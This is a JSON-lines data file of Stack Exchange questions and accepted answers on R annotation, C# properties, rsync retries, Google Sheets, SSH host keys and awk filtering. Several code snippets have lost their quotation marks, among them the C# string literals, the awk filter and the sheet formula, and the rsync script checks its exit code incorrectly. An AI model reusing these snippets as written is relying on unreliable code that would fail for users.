{  "id": "_bioinformatics.664"  , "question": "From an RNA-seq experiment I have about 17000 gene ids for 2 sample conditions arranged according to their log2 fold changes when compared to a control.  I need to annotate these, but I've never done annotation before and am wondering how to do this in R?  There seems to be multiple packages available, and I'm wondering if any of them stand out as being the best?I'm primarily interested in human samples and annotated pathways."  , "title": "How to perform functional analysis on a gene list in R?"  , "tags": "r;annotation"  } 
{  "id": "_opensource.2312"  , "question": "When you're copying open source from another project (not simply linking), how should you provide attribution in your source repo? I've copied some things into my code base that are probably not actually copyrightable (e.g., word lists), but I'd like to provide the appropriate attribution for the MIT/BSD licensed projects they were copied from. For example LICENSE or LICENSE.txt are common for your project's license, but what about attribution? Also, what's the minimal amount of text required?"  , "title": "How should you put attribution into your project?"  , "tags": "attribution;mit;bsd"  , "accepted_answer": "[obvious disclaimer - I am not a lawyer]A common practice I've seen is to add an additional file, e.g. NOTICE.txt with references to other projects being used.For example, take a look at Apache Commons Lang (yes, I know it doesn't use the MIT license, it's just a really simple example for this practice, which holds for various licenses). It has a NOTICE.txt file which states that it uses code from the Spring Foundation, the licensing terms it was used by, and a reference to the exact location in the code. If you look at that location in the code, you'll find the complete details."  } 
{  "id": "_webmaster.13339"  , "question": "Having a website that generates and receives JSON requests via AJAX, I failed to find a tool that shows me live the communication including the content of the JSON calls.I thought that the Google Chrome developer tools or the IE 9 developer tools do have such a feature, but again, I failed.Searching Google, I failed too.So my question is:Is there a client-side tool to monitor the content of JSON requests that a website sends to the server?"  , "title": "Monitoring JSON requests sent/received from the browser?"  , "tags": "javascript;ajax"  , "accepted_answer": "You can use firebug pulgin/addon in chrome and firefox.Open firefox.Search and download firebug addon/plugin.    Install it.Open respecitive site whose data transfer you want to monitor.   Enable Firebug on that particular site.Check the Net Panel and check the detail of the requests made and more..."  } 
{  "id": "_cstheory.174"  , "question": "Wikipedia only lists two problems under unsolved problems in computer science:P = NP?The existence of one-way functionsWhat are other major problems that should be added to this list?Rules:Only one problem per answerProvide a brief description and any relevant links "  , "title": "Major unsolved problems in theoretical computer science?"  , "tags": "big list;open problem"  } 
{  "id": "_softwareengineering.168655"  , "question": "Sometimes I would like to declare a property like this:public string Name { get; readonly set; }I am wondering if anyone sees a reason why such a syntax shouldn't exist. I believe that because it is a subset of get; private set;, it could only make code more robust.My feeling is that such setters would be extremely DI friendly, but of course I'm more interested in hearing your opinions than my own, so what do you think?I am aware of 'public readonly' fields, but those are not interface friendly so I don't even consider them. That said, I don't mind if you bring them up into the discussionEditI realize reading the comments that perhaps my idea is a little confusing. The ultimate purpose of this new syntax would be to have an automatic property syntax that specifies that the backing private field should be readonly. Basically declaring a property using my hypothetical syntaxpublic string Name { get; readonly set; }would be interpreted by C# as:private readonly string name;public string Name{    get    {        return this.name;    }}And the reason I say this would be DI friendly is because when we rely heavily on constructor injection, I believe it is good practice to declare our constructor injected fields as readonly."  , "title": "DI and hypothetical readonly setters in C#"  , "tags": "c#;dependency injection"  , "accepted_answer": "The C# team has considered that this would be a very useful feature, and that's why in C# 6, they implemented it (just a little different from your proposal).Getter-only auto-propertiesThis new kind of properties are getter-only, but can be set either inline or in the constructor. This means they are backed internally by a readonly field.Instead of declaring a property as readonly set, you simply not declare it.Inline assignmentpublic class Customer{    public string First { get; } = Jane;    public string Last { get; } = Doe;}Constructor assignmentpublic class Customer{    public string Name { get; }    public Customer(string first, string last)    {        Name = first +   + last;    }}You can read about this and other new features of C# 6 in the Roslyn wiki in GitHub."  } 
{  "id": "_unix.22538"  , "question": "Around version 7.0 (? just guessing) SuSE became paid only distribution (i.e. you had to pay to get the copy), after several releases SuSE came back to free + paid model.Now -- the most important to me, what was the first paid-only version, and also interesting, what was the last paid-only version?Editors, please do not fix the spelling of SuSE, back then it was SuSE not SUSE (not sure about end of paid period though)."  , "title": "What was the paid only period in history of SuSE?"  , "tags": "opensuse;history;suse"  } 
{  "id": "_unix.242163"  , "question": "I tried making some crontabs, I created a file called brewupdater in my user folder, containing 0 */5 * * * ~/bin/brewupdate2.I then tried to run cron ~/brewupdater but it told me:cron: can't open or create /var/run/cron.pid: Permission deniedSo I tried sudo cron ~/brewupdater. But the script doesn't run, (it should do every 5th hour), because the files that should appear don't."  , "title": "cron doesn't do anything"  , "tags": "osx;cron"  } 
{  "id": "_unix.377857"  , "question": "I am following a tutorial on installing git on a shared host and need some clarification if possible.I have access to the GCC jpols@MrComputer ~$ ssh nookdig1@***.***.**.*'gcc --versiongcc (GCC) 4.4.7 20120313 (Red Hat 4.4.7-18)Copyright (C) 2010 Free Software Foundation, Inc.This is free software; see the source for copying conditions.  There is NOwarranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.'and can edit the bashrc file:jpols@MrComputer ~$ vi .bashrcHowever I dont really understand how to read if the path has been added correctly:Update your $PATH None of this will work if you dont update the $PATH  environment variable. In most cases, this is set in .bashrc. Using  .bashrc instead of .bash_profile updates $PATH for interactive and  non-interactive sessionswhich is necessary for remote Git commands.  Edit .bashrc and add the following line:export PATH=$HOME/bin:$PATHI added the above to the file and saved but it goes on to sayBe sure ~/bin is at the beginning since $PATH is searched from left  to right;But ~/bin is different to the given path. Could someone please explain what this means?After adding the Path as specified the output is:jpols@MrComputer ~$ source ~/.bashrcjpols@MrComputer ~$ echo $PATH/home/jpols/bin:/usr/local/bin:/usr/bin:/cygdrive/c/Python27:/cygdrive/c/Python27/Scripts:/cygdrive/c/WINDOWS/system32:/cygdrive/c/WINDOWS:/cygdrive/c/WINDOWS/System32/Wbem:/cygdrive/c/WINDOWS/System32/WindowsPowerShell/v1.0:/cygdrive/c/Program Files/nodejs:/cygdrive/c/Program Files/Git/cmd:GYP_MSVS_VERSION=2015:/cygdrive/c/WINDOWS/system32/config/systemprofile/.dnx/bin:/cygdrive/c/Program Files/Microsoft DNX/Dnvm:/cygdrive/c/Program Files/Microsoft SQL Server/130/Tools/Binn:/cygdrive/c/HashiCorp/Vagrant/bin:/cygdrive/c/MAMP/bin/php/php7.0.13:/cygdrive/c/ProgramData/ComposerSetup/bin:/cygdrive/c/Program Files (x86)/Yarn/bin:/cygdrive/c/Program Files/PuTTY:/cygdrive/c/Program Files (x86)/Brackets/command:/cygdrive/c/Program Files (x86)/Calibre2:/cygdrive/c/Ruby22-x64/bin:/cygdrive/c/Users/jpols/AppData/Local/Microsoft/WindowsApps:/cygdrive/c/Users/jpols/AppData/Roaming/npm:/cygdrive/c/Users/jpols/AppData/Roaming/Composer/vendor/bin:/cygdrive/c/Users/jpols/AppData/Local/Yarn/bin:/cygdrive/c/Program Files (x86)/NmapJust comparing the first part:Tutorial: /home/joe/bin:/usr/local/bin:/bin:/usr/binMine: /home/jpols/bin:/usr/local/bin:/usr/bin:/They are different so before I go on I am hoping someone can explain what I am trying to achieve and how to do it correctly. Thanks."  , "title": "Clarification on updating path in bashrc"  , "tags": "linux;path;git;bashrc"  , "accepted_answer": "The '~' character is used to indicate the current user's home directory on UNIX systems.  Because the username on your computer is different from the one on the machine used in the tutorial you referred to, different directory paths have been appended to the PATH variable. By using '~' one does not have to manually enter one's username for referring to the user home directory, which allowed the creator of the tutorial to create code which makes the PATH variable look into both of your home directories, even though both of your systems have different paths to your home directories. (e.g. /home/joe/bin and /home/jpols/bin are different directories, but ~/bin can be used to refer to both, as the '~' will be expanded to the correct path by the system) "  } 
{  "id": "_computerscience.5413"  , "question": "I am trying to do simple PCF with Unity but I am facing some issues and I don't know where they come from. If anybody has an idea...Here are two examples// C#GetTemporaryRT(_shadowMapProperty, _shadowSettings.shadowAtlasWidth, _shadowSettings.shadowAtlasHeight, _depthBufferBits, FilterMode.Bilinear, RenderTextureFormat.Depth, RenderTextureReadWrite.Linear);// CGsampler2D_float _ShadowMap;float4 _ShadowMap_TexelSize;half ShadowAttenuation(float3 shadowCoord){    float depth = tex2D(_ShadowMap, shadowCoord).r;#if defined(UNITY_REVERSED_Z)    return step(depth - _ShadowData.y, shadowCoord.z);#else    return step(shadowCoord.z, depth + _ShadowData.y);#endif}/////// EXAMPLE 1 /////// float shadow = ShadowAttenuation(half3(shadowCoord.xy, shadowCoord.z));return shadow;/////// EXAMPLE 2 ///////float3 UnityCombineShadowcoordComponents(float2 baseUV, float2 deltaUV, float depth){    float3 uv = float3(baseUV + deltaUV, depth);    uv.z += dot(deltaUV, receiverPlaneDepthBias.xy);    return uv;} half shadow = 1;const float2 offset = float2(0.5, 0.5);float2 uv = (shadowCoord.xy * _ShadowMap_TexelSize.zw) + offset;float2 base_uv = (floor(uv) - offset) * _ShadowMap_TexelSize.xy;float2 st = frac(uv);float2 uw = float2(3 - 2 * st.x, 1 + 2 * st.x);float2 u = float2((2 - st.x) / uw.x - 1, (st.x) / uw.y + 1);u *= _ShadowMap_TexelSize.x;float2 vw = float2(3 - 2 * st.y, 1 + 2 * st.y);float2 v = float2((2 - st.y) / vw.x - 1, (st.y) / vw.y + 1);v *= _ShadowMap_TexelSize.y;half sum = 0;sum += uw[0] * vw[0] * ShadowAttenuation(UnityCombineShadowcoordComponents(base_uv, float2(u[0], v[0]), shadowCoord.z));sum += uw[1] * vw[0] * ShadowAttenuation(UnityCombineShadowcoordComponents(base_uv, float2(u[1], v[0]), shadowCoord.z));sum += uw[0] * vw[1] * ShadowAttenuation(UnityCombineShadowcoordComponents(base_uv, float2(u[0], v[1]), shadowCoord.z));sum += uw[1] * vw[1] * ShadowAttenuation(UnityCombineShadowcoordComponents(base_uv, float2(u[1], v[1]), shadowCoord.z));shadow = sum / 16.0f;return shadow;Here are the results."  , "title": "DX9 Shadow map PCF issue"  , "tags": "shader;shadow;shadow mapping;unity;directx"  , "accepted_answer": "It seems that sampler2D_float doesn't allow to interpolate shadow lookup  linearly. So I had to do it by hand. Here's an example of interpolated shadowing.float texture2DCompare(sampler2D depths, vec2 uv, float compare){    float depth = texture2D(depths, uv).r;    return step(compare, depth);}float texture2DShadowLerp(sampler2D depths, vec2 size, vec2 uv, float compare){    vec2 texelSize = vec2(1.0)/size;    vec2 f = fract(uv*size+0.5);    vec2 centroidUV = floor(uv*size+0.5)/size;    float lb = texture2DCompare(depths, centroidUV+texelSize*vec2(0.0, 0.0), compare);    float lt = texture2DCompare(depths, centroidUV+texelSize*vec2(0.0, 1.0), compare);    float rb = texture2DCompare(depths, centroidUV+texelSize*vec2(1.0, 0.0), compare);    float rt = texture2DCompare(depths, centroidUV+texelSize*vec2(1.0, 1.0), compare);    float a = mix(lb, lt, f.y);    float b = mix(rb, rt, f.y);    float c = mix(a, b, f.x);    return c;}"  } 
{  "id": "_webmaster.92755"  , "question": "My AWS's Free Tier is about to expire. How do I pay for the entire Reserved Instance with one upfront payment?I noticed from that Amazon EC2 Pricing reserved instances with the All Upfront option is cheaper. Does reserved instances (like t2.micro) include EBS storage (Amazon EBS Pricing)? If yes, what is the size?"  , "title": "How do I pay for the entire Reserved Instance with one upfront payment after AWSs Free Tier"  , "tags": "amazon aws;amazon ec2;pricing"  , "accepted_answer": "These are questions you should be asking the AWS billing department. Contact info is found here.EC2 Reserved Instances requires buying a time block on a certain instance, rather than going hour to hour with the on demand instances, with the selection of all upfront, partial upfront/partial monthly, or monthly billing. As you move towards monthly, the cost increases, but it's still cheaper than the on demand instances. You pay in advance for what you expect to use for a period of time. Otherwise the instances themselves are the same. EC2 instances do not include EBS, outside of the free tier. EC2 pricing (reserved and regular) is here.Elastic Block Storage (EBS) is a separate product and doesn't appear to have upfront pricing. Pricing for that is over here."  } 
{  "id": "_unix.372173"  , "question": "I have around 50 gigabytes that I would like to move. I want to do it over TCP/IP (hence network in the title) optimized for a local area network. My problem is that the connection occasionally gets interrupted and I never seem to get all of the data reliably to its destination. I'd like this thing to not give up so easily keep retrying automatically (assuming that both machines are powered up).My approach would be to use rsync.SOURCE=/path/to/music/ # slash excludes music dirDESTINATION=/path/to/destination rsync \\  --archive \\ # archive mode; equals -rlptgoD (no -H,-A,-X)  --compress \\ # compress file data during the transfer  --progress \\ # show progress during transfer  --partial \\ # delete any partially transferred files after interrupt, on by default but I added it for kicks  --human-readable \\ #output numbers in a human-readable format  $SOURCE \\  $DESTINATION \\Are there other parameters that I should consider?"  , "title": "How can I move (rsync) a huge quantity of data reliably the can handle network interruptions?"  , "tags": "rsync;file transfer"  , "accepted_answer": "Rsync ParametersIt would seem that my rsync parameters are fine. I had to add a parameter to deal with files that exist after a connection failure. The choices were --ignore-existing or --update to avoid rewriting things already written. I am still not sure which one is better  (perhaps someone knows) but in this case I went with with --update after reading this https://askubuntu.com/questions/399904/rsync-has-been-interrupted-copy-from-beginningCompare:--update                skip files that are newer on the receiver--ignore-existing       skip updating files that already exist on receiverConnection InterruptionsThe connection problem conundrum (flaky wifi etc.) was solved by continually calling rsync when an exit code is not zero, thereby forcing my process to continue until the transfer is a success. (unless I cut the power, lightning strikes my power lines, or I kill it using a signal)To handle network disconnects, I used a while loop.while [ 1 ]do# STUFFdonewhile [ 1 ] has a caveat: using a signal like ctrl c for an interrupt (SIGINT) will not work unless you add an explicit check for any exit codes above 128 that calls break.if [ $? -gt 128 ] ; then breakthen you can check for rsync's exit code. Zero means all files have been moved.elif [ $? -eq 0 ] ; then exitOtherwise, the transfer is not complete.else sleep 5Script Example sync-music.shThe rsync script assumes ssh passwordless key authentication.#!/bin/bashSOURCE=/path/to/Music/DESTINATION=user@computer.local:/media/Musicwhile [ 1 ]do  rsync -e 'ssh -p22'\\  --archive \\  --compress \\  --progress \\  --partial \\  --update \\  --human-readable \\  $SOURCE \\  $DESTINATION  if [ $? -gt 128 ] ; then    echo SIGINT detected. Breaking while loop and exiting.    break  elif [ $? -eq 0 ] ; then    echo rsync completed normally    exit  else    echo rsync failure. reestablishing connection after 5 seconds    sleep 5  fidone"  } 
{  "id": "_unix.33067"  , "question": "Can I use TLS/SSL over Unix pipe with Unix command line? I want the equivalent of$ mkfifo /tmp/spipe$ echo a|openssl s_server -acceptFifo /tmp/spipe &[1] 25563$ openssl s_client -connectFifo /tmp/spipea[1]   Done                    echo a|openssl s_server -acceptFifo /tmp/spipe(Yes, it's not hard to write a short program to do that, but I was hoping it is possible with existing tools)Let me clarify, I do not want a tcp connection any time in the process. I want to use the TLS/SSL protocol over a UNIX pipe. The client will open a unix pipe, and will connect to the server listening on another pipe. I do NOT want to move data from TLS tcp connection to a pipe."  , "title": "TLS over unix pipe"  , "tags": "pipe;ssl;openssl;tls"  } 
{  "id": "_webapps.86897"  , "question": "I have numbers in range D7:D and there are times when some cells are empty. I want the average of the last 7 numbers but to skip blanks. So if in the last 7 there's only 3 that are full, I want it to go back further and find 7 total and average them out."  , "title": "Average of last 7 non-empty non-blank cells in Google Sheets"  , "tags": "google spreadsheets"  , "accepted_answer": "Here is one approach: =average(indirect(D & iferror(large(filter(row(D7:D), len(D7:D)), 7), row(D7)) & :D))Explanation:filter(row(D7:D), len(D7:D)) returns an array that consists of the row numbers of the nonempty entries in the given range.large(..., 7) picks the 7th largest number from this array: this is the row number where you want to start averaging.iferror(..., row(D7)) is a safeguard in case your range has fewer than 7 non-blank entries: in this case, the averaging will begin with D7. I could have just put 7 instead of row(D7), but row(D7) makes the formula more portable in case you decide to copy it elsewhere. indirect(D & ... & :D) forms the range for averaging, e.g., D9:D if the output of preceding computation was 9.Finally, average does the average. You could put other aggregate functions here, too. "  } 
{  "id": "_scicomp.266"  , "question": "I am running into a problem with COMSOL 4.2.0.187 on Ubuntu (both 10.04 LTS and 11.04). When using the option -np x with x > 1, COMSOL crashes systematically after a short, yet random amount of time with the following error:> [thread 140538491361024 also had an error] terminate called without an active exception > AbortedWhen setting only one working process (-np 1), the error disappear. The COMSOL support staff  told me that there must be a problem with the threading libraries. I suspect that they just have no idea what to tell me.Do you guys have any idea as how to solve this problem? Have you ever encountered such an error with COMSOL or another piece of software?Thanks a lot,"  , "title": "COMSOL on Ubuntu (10.04 LTS and 11.04)"  , "tags": "comsol;parallel computing"  } 
{  "id": "_webmaster.29555"  , "question": "I've just signed up with a webhost (which I prefer not to name) and I'm reasonably happy with it. The only nit was when I was ready to put a site online and I asked the support line to what name I should point my 'www' CNAME to. They responded that they don't do that and I need to set my domain's NS records for the hosting to work.Why would you ever want to do it that way? Our service to you includes DNS and our servers are probably much better than the one your registrar provides.This was a bit of surprise as all of the other webhosts I've worked with happily support this. I've set up (eg) gallery.myfriend.example for friends by having them configure their DNS to CNAME 'gallery' to the name of a shared server at a webhost and the webhost does name-based hosting for 'gallery.myfriend.example'.(Of course, if the webhost ever tells me I'm being moved from A.webhost.example to B.webhost.example, it would be my responsibility to change where the CNAME points. Really good webhosts would instead create myname.webhost.example for the IP of whichever server my stuff happens to be on, so I'd never have to worry about keeping my CNAME up to date.)Is my impression correct, that most webhosts will happily support a service that begins with a CNAME hosted elsewhere, or is it really more common that webhosts will only provide a service if they control the DNS service too?For example Alice is a customer, owning Alice.example.BobHost, CarolHost and DaveHost are webhosts.  Alice has a domain registration, DNS hosting and website hosting with BobHost.BobHost have the following DNS setup... * Alice.example A 192.0.2.1 * Gallery.Alice.example CNAME SomeServer.CarolHost.exampleand her main website content and email is served from 192.0.2.1.Alice also has website hosting with CarolHost, but only to serve the 'Gallery' sub-domain. Her gallery content is served from SomeServer.CarolHost.example, but only when the 'Host:' header of a request is 'Gallery.Alice.example'.Yes, this is sub-optimal, but its the only practical way to have a sub-domain hosted elsewhere from the main site. Frankly, it works. CarolHost can change the IP of 'SomeServer' whenever they like without having to inform anyone as long as they update their own DNS records. No-one complains to CarolHost that the gallery is off-line when the fault is with BobHost's DNS service failing to serve that CNAME record.Continuing the story, Alice now wishes to put an additional sub-domain, 'Blog.Alice.example' to be hosted by DaveHost. She calls DaveHost support and asks how to host 'Blog' in the same way that 'Gallery' is hosted by CarolHost. DaveHost respond that they don't support this. If Alice wishes to use DaveHost's service, Alice will need to move DNS hosting to DaveHost.My question; In the world of webhosting services, are hosts like DaveHost commonplace? (All but one the webhosts I've dealt with are happy to be CarolHost, even though they all really want to be like BobHost.)"  , "title": "Are webhosts that require NS instead of a CNAME common?"  , "tags": "web hosting;nameserver;virtualhost"  , "accepted_answer": "As you correctly note, the web hosting provider wants to have control over the actual IP address your host name resolves to, so that they can e.g. move your site from one server to another or implement DNS-based load balancing.There are basically two ways in which this can be done.  For example, assuming that the hostname you want for your site is host.yourdomain.com, you can either:let your webhost also be the DNS provider for yourdomain.com by telling your registrar to point the NS records for yourdomain.com to the web hosting company's nameservers, orlet your DNS provider return a CNAME record for host.yourdomain.com pointing to e.g. host-yourdomain-com.webhost.com, which your webhost can then resolve to whichever IP address they want.The second way, using a CNAME record, is slightly less efficient, since it includes an additional indirection step.  However, as you note, it's the only practical way to have your web hosting and DNS service be provided by different companies.As such, I don't fault your webhost for recommending the first method.  I do, however, think that they're providing sub-par service if they're insisting on it and refusing to deal with a CNAME record if you prefer to use one."  } 
{  "id": "_codereview.100967"  , "question": "I wanted to get some eyes on some code that I wrote, and see if anyone can help improve what I did. Just looking for some constructive feedback to help make my code more performant, and more elegant. From a high level my code needs to accomplish the following:Create a function that takes an array of objects that each represent an event. Each object in the array has a start and end time represented in minutes. The start and end times are represented as minutes after 9am. For example {start:30, end: 60} represents an event that starts at 9:30am and ends at 10am. The function takes the objects, and plots them as events on a vertical timeline. Events that have crossover will split the container in half, while events that dont crossover will take the whole container width.Here is the JS that I wrote to accomplish the above task://sample data - array of objects that represent eventsvar myArray = [{start: 30, end: 130},{start: 140, end: 147},{start: 145, end: 155},{start: 150, end: 175},{start: 200, end: 250},];var myFunc = function(a) {  //sort the input array from earliest start time to latest. Items with identical start times will compare end times - the longer duration item resolves with lower index. Assumes no exact duplicate items.  var sortedDates = a.sort(function(a,b) {    var caseOne= (a.end>b.end) ? -1 : 1,        caseTwo= a.start - b.start;    return (a.start===b.start) ? caseOne : caseTwo;  });  for(var i=0; i<sortedDates.length; i++) {    var currentItem = sortedDates[i],        itemDuration = currentItem.end-currentItem.start,        itemTop = currentItem.start,        prevItem = sortedDates[i-1],        nextItem = sortedDates[i+1],        newDiv = document.createElement('div');    //set a default direction to each item    currentItem.direction = 'left';    //determine which items overlap and set a property to indicate    if(nextItem !== undefined && (currentItem.end - nextItem.start > 0)) {      currentItem.overlap = true;      nextItem.overlap = true;    }    //ensure items flow in UI by staggering overlapping items    if(prevItem !== undefined && (prevItem.direction === 'left')) {      currentItem.direction = 'right';    }    //set class names on new DOM element based on overlap    if(currentItem.overlap === true) {      if(currentItem.hasOwnProperty('direction')) {        newDiv.setAttribute('class', 'split '+currentItem.direction);      }      else {        newDiv.setAttribute('class', 'split');      }    }    //set the size and position based on computed duration and start time    newDiv.setAttribute('style', 'height:'+itemDuration+'px; top:'+itemTop+'px');    //insert new element into DOM    document.getElementById('stuff').appendChild(newDiv);  }};Here is a rough working example."  , "title": "Generating a day event calendar based on an array of objects"  , "tags": "javascript;jquery;html"  } 
{  "id": "_codereview.171832"  , "question": "I have the following code on my server that takes a string and inserts newlines in such a way that the string is separated into lines, all of which are shorter than maxLineLength in characters. This ensures that the text, when printed, will fit within a certain width.const formatTextWrap = (text, maxLineLength) => {  var words = text.replace(/[\\r\\n]+/g, ' ').split(' ')  var lineLength = 0  var output = ''  for (var word of words) {    if (lineLength + word.length >= maxLineLength) {      output += `\\n${word} `      lineLength = word.length + 1    } else {      output += `${word} `      lineLength += word.length + 1    }  }  return output}What optimizations could I make? This code works, but are there any pitfalls to using this?"  , "title": "Text-wrapping function in JavaScript"  , "tags": "javascript;strings;node.js;formatting"  , "accepted_answer": "I would modify a bit logic regarding spacing between words in lines. With your solution you might end up with unnecessary spaces on line ends.Additionally using Array.reduce instead of for loop is more JS-way to join array. const formatTextWrap = (text, maxLineLength) => {  const words = text.replace(/[\\r\\n]+/g, ' ').split(' ');  let lineLength = 0;    // use functional reduce, instead of for loop   return words.reduce((result, word) => {    if (lineLength + word.length >= maxLineLength) {      lineLength = word.length;      return result + `\\n${word}`; // don't add spaces upfront    } else {      lineLength += word.length + (result ? 1 : 0);      return result ? result + ` ${word}` : `${word}`; // add space only when needed    }  }, '');}let testingText = `Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nullam blandit mauris id venenatis tincidunt. Vestibulum at gravida sapien. Mauris tellus augue, aliquet sed laoreet blandit, pulvinar sed felis. Phasellus nec est vitae enim blandit facilisis.Vestibulum fermentum ligula sit amet volutpat fermentum. Sed in faucibus orci. Pellentesque a dui ex. Curabitur sollicitudin, nulla id dignissim lacinia, odio mauris blandit nisi, eget auctor arcu odio nec est.`;console.log(formatTextWrap(testingText, 20));"  } 
{  "id": "_webmaster.12942"  , "question": "I'm assuming that when Google Analytics tracks a visitor's language it uses the Accept-language header from the request (most browser/OS combinations seem to populate it automatically).My browser sends:Accept-Language:en-US,en;q=0.8,en-GB;q=0.6,fr-CA;q=0.4,fr;q=0.2And yet I can't figure out how to get stats on what percentage of my visitors can speak a certain language even if it isn't their primary one (in my case I normally use English but I can use French).  Does any analytics program do this, or am I going to have to capture it in my logs and track it manually?"  , "title": "Does Google Analytics track users with multiple languages?"  , "tags": "google analytics;multilingual"  , "accepted_answer": "Google Analytics claims to track the preferred language [not languages] that visitors have configured on their computers.This implies that they strip info after the first semicolon in the Accept-Language header. It's hard to tell from their documentation whether or not this is the case for sure, but you could test it by creating a secret page, adding analytics code, visiting it ten times yourself, and seeing which languages were reported under Visitors>Languages.Competing services appear to take the same approach, so your options appear to be limited to using Google Analytics custom variables or Woopra Custom Visitor Data or a home-baked solution to manipulate and store the full Accept-Language header."  } 
{  "id": "_unix.196630"  , "question": "I ran rsync (cygwin) and got this error. I think they changed the Red Hat Linux OS from version 5 to version 6, last night. Would that be the cause of this error message? What do I need to do to fix this? I remember, the sysadm ran a command called ssh-keygen I think on my computer after he set up cygwin. Do I re-run that and copy the file to the RH6 server?@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!Someone could be eavesdropping on you right now (man-in-the-middle attack)!It is also possible that a host key has just been changed.The fingerprint for the RSA key sent by the remote host isxx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx:xx.Please contact your system administrator.Add correct host key in /home/xxxxx/.ssh/known_hosts to get rid of this message.Offending RSA key in /home/xxxxx/.ssh/known_hosts:2RSA host key for xxxxx has changed and you have requested strict checking.Host key verification failed.rsync: connection unexpectedly closed (0 bytes received so far) [Receiver]rsync error: unexplained error (code 255) at /home/lapo/package/rsync-3.0.9-1/src/rsync-3.0.9/io.c(605) [Receiver=3.0.9]"  , "title": "SSH error: WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!"  , "tags": "ssh;rsync;cygwin;ssh keygen"  , "accepted_answer": "Assuming you believe the host really did change its host key you can delete the old entry.  Since this one tells you the old entry is on line 2 you can dosed -i -e '2d' ~/.ssh/known_hoststo remove the old entry from you known hosts file"  } 
{  "id": "_cs.55153"  , "question": "I am currently finishing up my junior year as a Biochemistry major at a 4-year university. In a year, I will graduate with a B.S. in Biochemistry and way more credit hours than anyone should ever have due to AP classes in high school. To make a long story short, I want to pursue computer programming once I graduate next year. I need to know what to do now, where I should go next. My university does not offer any CS classes, but I am willing to work extracurricularly if it means gaining relevant experience. I'm not completely at square 1, I have some experience with programming, but not nearly enough to compete with a Bachelor's.1) Do I need a Bachelor's in CS to pursue programming? I have developed and published a handful of websites and iPhone/Android applications over the years, but I never took it on as a full time job. I am conversant in most relevant computer languages, but never as a result of any official classes, just through personal study.2) What resources are available to me regarding open positions in CS? I have been stuck in my birth state my entire life, and thus have little exposure to the job market outside of a 200-mile radius. I am engaged and plan to move away with my fianc when we both graduate next year, but I would like to move somewhere that will be conducive to my programming ambitions. Are there any notable cities that are iconic in the CS market?3) What should I be focusing on now? I would like to finish out my degree program so the past 3 years won't be completely for naught, but what should I be doing in the meantime? Should I pursue some form of internship, should I attempt to strike further out in freelance work, or should I take some sort of online classes?4) What do employers look for? If I'm looking to make the best first impression, what sort of things should I become conversant in? Is there a core set of languages I should go ahead and start learning?Honestly I'm just extremely lost and need to know what steps I should take from here. Also, if I can avoid paying for another 4 years of college, that would be great."  , "title": "I want to pursue a career in computer programming. Where do I start?"  , "tags": "programming languages"  , "accepted_answer": "You are already making iOS Apps, so you most likely already know at least 1 programming language. You don't need a degree in computer science to be a programmer. You (usually) need a degree in computer science to be a computer scientist.You should continue programming, as it's the only way you'll get better. If you want to put it on your resume you need to be extremely fluent in at least 1 language and show that you're fluent (you're off to a great start with those iOS apps).Employers don't look for a CS degree, although it is nice. Most jobs require a bachelors degree, but not in computer science per se.Putting personal projects on your resume along with an explanation of your ability to write code should be good enough. And trust me, they will be testing your abilities as a programmer from the second you get a callback.During the first interview, you will most likely be asked to write code on paper with a developer at the company. If you pass that, they might ask you to complete a lengthy exercise to demonstrate your proficiency.So in my opinion: Keep doing what you're doing. If you want to land a job as a programmer master at least 1 language."  } 
{  "id": "_unix.177653"  , "question": "I have a text file with data that looks like this (1875 lines to be exact)chr1    MOTEVOC_cage_181208 TF_binding_site_cage_181208 6585538 6585547 0.905022147 -   .   TF_binding_site_cage_181208 MEF2A,B,C,D-148428 ;ALIAS MEF2A,MEF2B,MEF2C,MEF2D ;L3_ID L3_chr1_-_6585517 chr1    MOTEVOC_cage_181208 TF_binding_site_cage_181208 6767855 6767864 0.703029237 +   .   TF_binding_site_cage_181208 MEF2A,B,C,D-148303 ;ALIAS MEF2A,MEF2B,MEF2C,MEF2D ;L3_ID L3_chr1_+_6768100 chr1    MOTEVOC_cage_181208 TF_binding_site_cage_181208 8686283 8686292 0.481284243 +   .   TF_binding_site_cage_181208 MEF2A,B,C,D-148085 ;ALIAS MEF2A,MEF2B,MEF2C,MEF2D ;L3_ID L3_chr1_-_8685906 chr1    MOTEVOC_cage_181208 TF_binding_site_cage_181208 10660924    10660933    0.818294903 +   .   TF_binding_site_cage_181208 MEF2A,B,C,D-148400 ;ALIAS MEF2A,MEF2B,MEF2C,MEF2D ;L3_ID L3_chr1_+_10661128 chr1    MOTEVOC_cage_181208 TF_binding_site_cage_181208 12327417    12327426    0.584010382 -   .   TF_binding_site_cage_181208 MEF2A,B,C,D-148387 ;ALIAS MEF2A,MEF2B,MEF2C,MEF2D ;L3_ID L3_chr1_+_12327504 chr1    MOTEVOC_cage_181208 TF_binding_site_cage_181208 12327433    12327442    0.825226087 -   .   TF_binding_site_cage_181208 MEF2A,B,C,D-148388 ;ALIAS MEF2A,MEF2B,MEF2C,MEF2D ;L3_ID L3_chr1_+_12327504 I am looking for a solution to extract the lines that have + near the very end. (it happens after the last ;. Similarly, I am looking to extract the - strand lines and put in a separate files. Edit: change of data set, was looking at the wrong file before."  , "title": "extracting lines from a large text file"  , "tags": "grep"  , "accepted_answer": "From the comments, I understand that you are looking to extract lines whose 7th column is either + or -.  The input file is tab-separated.  To do that, while saving the + lines to the file called plus and the minus lines to the file called minus, the most natural tool is probably awk:awk -F'\\t' '$7==+{print >plus} $7==-{print>minus}' fileHow it works:-F'\\t'awk reads in a record (line) at a time and separates it into fields.  Here, we set the field-separator to a tab.$7==+{print >plus}If the 7th field is a +, then save the line in the file plus.$7==-{print>minus}Similarly, if the 7th field is a -, then save the line in the file minus."  } 
